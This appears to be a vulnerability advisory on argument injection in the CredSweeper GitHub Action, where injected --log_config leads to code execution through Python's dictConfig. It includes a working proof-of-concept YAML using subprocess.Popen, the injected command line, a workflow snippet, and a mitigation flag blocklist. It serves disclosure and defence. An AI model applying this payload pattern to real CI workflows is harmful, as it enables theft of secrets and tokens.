Summary
The CredSweeper GitHub Action passes user-controlled inputs into the CredSweeper CLI as raw arguments. An attacker who can influence those action inputs can inject --log_config <malicious.yml>, which makes CredSweeper load attacker-chosen logging configuration and pass it into Python's logging.config.dictConfig(...). Because logging configuration supports callable factories through the () key, this leads to arbitrary command execution on the GitHub Actions runner.
Tested against the current upstream checkout:
- repository:
https://github.com/Samsung/CredSweeper
- commit:
ed491f25ea4d6f766a0b3b89b5e0a5eb6dc01ae1
- version:
1.16.0
This advisory scopes the affected range to >= 1.11.6, the first release containing the current composite GitHub Action form that passes error and hashed directly as raw CLI tokens.
The underlying --log_config execution sink also reproduces on older releases, including v1.4.3, but the report below is intentionally limited to the currently published Action wrapper issue.
Details
The vulnerability is caused by the combination of unsafe action input handling and a trusted-only configuration feature exposed to those inputs.
Current vulnerable action path
In the current action.yml, the error and hashed inputs are presented like boolean-style flags, but they are actually free-form strings:
inputs:
hashed:
description: "Report output is hashed by default"
default: "--hashed"
required: false
error:
description: "Exit with an error code if credentials are detected"
default: "--error"
required: false
Those values are passed directly into the CredSweeper CLI as standalone tokens:
run: python -m credsweeper --banner --log INFO --no-color --no-stdout "$error" "$hashed" --save-json "$report" --path "$path"
Because "$error" and "$hashed" are emitted as independent CLI arguments, an attacker who controls them can transform them into:
error = --log_config
hashed = /tmp/evil_log.yml
That yields an effective command line equivalent to:
python -m credsweeper --banner --log INFO --no-color --no-stdout --log_config /tmp/evil_log.yml --save-json output.json --path target.txt
Logging configuration sink
CredSweeper accepts --log_config in the CLI:
parser.add_argument("--log_config", help="use custom log config (default: built-in)", ...)
During startup it loads that file:
Logger.init_logging(args.log, args.log_config_path)
The logger then does:
logging_config = Util.yaml_load(file_path) if file_path else None
...
logging.config.dictConfig(logging_config)
Util.yaml_load(...) uses yaml.safe_load, which is not itself the code-execution sink. The execution sink is logging.config.dictConfig(...), because Python logging configuration supports arbitrary callable factories through the () key. A malicious logging config can therefore invoke standard-library callables such as subprocess.Popen while logging is being initialized.
Historical context
The older Docker-based GitHub Action also exposed a broader raw argument interface.
The original action exposed a raw args input:
inputs:
args:
description: "Arguments passed to credsweeper"
default: "--path . --save-json --ml_validation"
required: true
and the entrypoint executed it unquoted:
credsweeper ${INPUT_ARGS}
Once --log_config was introduced, that old action form also became an execution path into the same logging sink.
Affected version boundary
The current composite action form was introduced in the following commit:
8fb9da8dab6716db021e0d758293160e560ba446
Replaced raw args with error and hashed, but still passed them as raw CLI tokens
First release containing it: v1.11.6
The underlying --log_config execution sink existed earlier, but this advisory is limited to the present Action-wrapper token injection path. On that basis, the affected range begins at v1.11.6 and includes v1.16.0.
PoC
The following steps reproduce the exact command path produced by the current Action after input injection.
Reproduction on current version (1.16.0)
Create a benign scan target:
target.txt
---------
no secrets here
Create a malicious logging config:
version: 1
disable_existing_loggers: false
formatters:
simple:
format: '%(message)s'
handlers:
console:
class: logging.StreamHandler
formatter: simple
stream: ext://sys.stderr
logfile:
class: logging.FileHandler
formatter: simple
filename: 'run.log'
pwn:
(): subprocess.Popen
args: ['python', '-c', 'from pathlib import Path; Path("pwned.txt").write_text("PWNED", encoding="utf-8")']
root:
level: CRITICAL
handlers: [console, logfile, pwn]
ignore: []
Run CredSweeper with the injected flag combination:
python -m credsweeper --banner --log INFO --no-color --no-stdout --log_config evil_log.yml --save-json output.json --path target.txt
The command above is the direct expansion of the published Action when invoked as:
- uses: Samsung/CredSweeper@v1.16.0
with:
path: target.txt
report: output.json
error: --log_config
hashed: evil_log.yml
Expected result:
- CredSweeper exits successfully
output.json is produced
pwned.txt is created with content PWNED
Observed result on 1.16.0:
returncode: 0
marker_exists: true
marker_content: PWNED
stdout:
CredSweeper 1.16.0 crc32:9f38a5fc
Detected Credentials: 0
Time Elapsed: 0.8724986000015633
stderr: <empty>
This shows that the attacker-controlled logging configuration is executed during CredSweeper startup and that arbitrary commands run before scanning completes.
Secondary validation on v1.4.3 reproduces the same --log_config execution sink, confirming that this is not a theoretical code path. That older result is supporting context only and is not required for the primary affected-version claim in this advisory.
Impact
This is arbitrary command execution in GitHub Actions jobs that use the CredSweeper Action in a way that allows an attacker to influence the relevant action inputs.
This is not a claim that all CredSweeper users are affected. The issue is in the published GitHub Action wrapper. Users of the Python package or CLI are not affected unless they independently pass untrusted input into trusted-local options such as --log_config.
Practical impact includes:
- reading repository contents available to the runner
- exfiltrating CI secrets or tokens exposed to the job
- modifying generated reports or build artifacts
- making arbitrary outbound network requests from the runner
- compromising later workflow steps such as release, deployment, signing, or publication jobs
This should be treated as High severity.
Successful exploitation yields arbitrary command execution on the CI runner. In affected workflows that can expose repository contents, ephemeral GitHub tokens, injected secrets, build artifacts, and downstream release or deployment credentials reachable from the same job. The impact is severe, but the issue is still workflow-dependent because the attacker must be able to influence the relevant action inputs and point them at a malicious log configuration file present on the runner.
Mitigation
Recommended fix:
- Do not pass user-controlled strings as raw CredSweeper CLI tokens from the GitHub Action.
- Convert
error and hashed into real boolean inputs and map them internally to an allowlisted set of flags:
true -> --error
false -> --no-error
true -> --hashed
false -> --no-hashed
- Do not expose a generic raw
args passthrough in any action form.
- Treat
--log_config as trusted-local-only functionality and do not make it reachable from action inputs.
- Optionally reject dangerous flags entirely in the GitHub Action wrapper, including:
--log_config
--config
--ml_config
--ml_model
Summary
The CredSweeper GitHub Action passes user-controlled inputs into the CredSweeper CLI as raw arguments. An attacker who can influence those action inputs can inject
--log_config <malicious.yml>, which makes CredSweeper load attacker-chosen logging configuration and pass it into Python'slogging.config.dictConfig(...). Because logging configuration supports callable factories through the()key, this leads to arbitrary command execution on the GitHub Actions runner.Tested against the current upstream checkout:
https://github.com/Samsung/CredSweepered491f25ea4d6f766a0b3b89b5e0a5eb6dc01ae11.16.0This advisory scopes the affected range to
>= 1.11.6, the first release containing the current composite GitHub Action form that passeserrorandhasheddirectly as raw CLI tokens.The underlying
--log_configexecution sink also reproduces on older releases, includingv1.4.3, but the report below is intentionally limited to the currently published Action wrapper issue.Details
The vulnerability is caused by the combination of unsafe action input handling and a trusted-only configuration feature exposed to those inputs.
Current vulnerable action path
In the current
action.yml, theerrorandhashedinputs are presented like boolean-style flags, but they are actually free-form strings:Those values are passed directly into the CredSweeper CLI as standalone tokens:
Because
"$error"and"$hashed"are emitted as independent CLI arguments, an attacker who controls them can transform them into:error = --log_confighashed = /tmp/evil_log.ymlThat yields an effective command line equivalent to:
Logging configuration sink
CredSweeper accepts
--log_configin the CLI:During startup it loads that file:
The logger then does:
Util.yaml_load(...)usesyaml.safe_load, which is not itself the code-execution sink. The execution sink islogging.config.dictConfig(...), because Python logging configuration supports arbitrary callable factories through the()key. A malicious logging config can therefore invoke standard-library callables such assubprocess.Popenwhile logging is being initialized.Historical context
The older Docker-based GitHub Action also exposed a broader raw argument interface.
The original action exposed a raw
argsinput:and the entrypoint executed it unquoted:
credsweeper ${INPUT_ARGS}Once
--log_configwas introduced, that old action form also became an execution path into the same logging sink.Affected version boundary
The current composite action form was introduced in the following commit:
8fb9da8dab6716db021e0d758293160e560ba446Replaced raw
argswitherrorandhashed, but still passed them as raw CLI tokensFirst release containing it:
v1.11.6The underlying
--log_configexecution sink existed earlier, but this advisory is limited to the present Action-wrapper token injection path. On that basis, the affected range begins atv1.11.6and includesv1.16.0.PoC
The following steps reproduce the exact command path produced by the current Action after input injection.
Reproduction on current version (
1.16.0)Create a benign scan target:
Create a malicious logging config:
Run CredSweeper with the injected flag combination:
The command above is the direct expansion of the published Action when invoked as:
Expected result:
output.jsonis producedpwned.txtis created with contentPWNEDObserved result on
1.16.0:This shows that the attacker-controlled logging configuration is executed during CredSweeper startup and that arbitrary commands run before scanning completes.
Secondary validation on
v1.4.3reproduces the same--log_configexecution sink, confirming that this is not a theoretical code path. That older result is supporting context only and is not required for the primary affected-version claim in this advisory.Impact
This is arbitrary command execution in GitHub Actions jobs that use the CredSweeper Action in a way that allows an attacker to influence the relevant action inputs.
This is not a claim that all CredSweeper users are affected. The issue is in the published GitHub Action wrapper. Users of the Python package or CLI are not affected unless they independently pass untrusted input into trusted-local options such as
--log_config.Practical impact includes:
This should be treated as High severity.
Successful exploitation yields arbitrary command execution on the CI runner. In affected workflows that can expose repository contents, ephemeral GitHub tokens, injected secrets, build artifacts, and downstream release or deployment credentials reachable from the same job. The impact is severe, but the issue is still workflow-dependent because the attacker must be able to influence the relevant action inputs and point them at a malicious log configuration file present on the runner.
Mitigation
Recommended fix:
errorandhashedinto real boolean inputs and map them internally to an allowlisted set of flags:true->--errorfalse->--no-errortrue->--hashedfalse->--no-hashedargspassthrough in any action form.--log_configas trusted-local-only functionality and do not make it reachable from action inputs.--log_config--config--ml_config--ml_model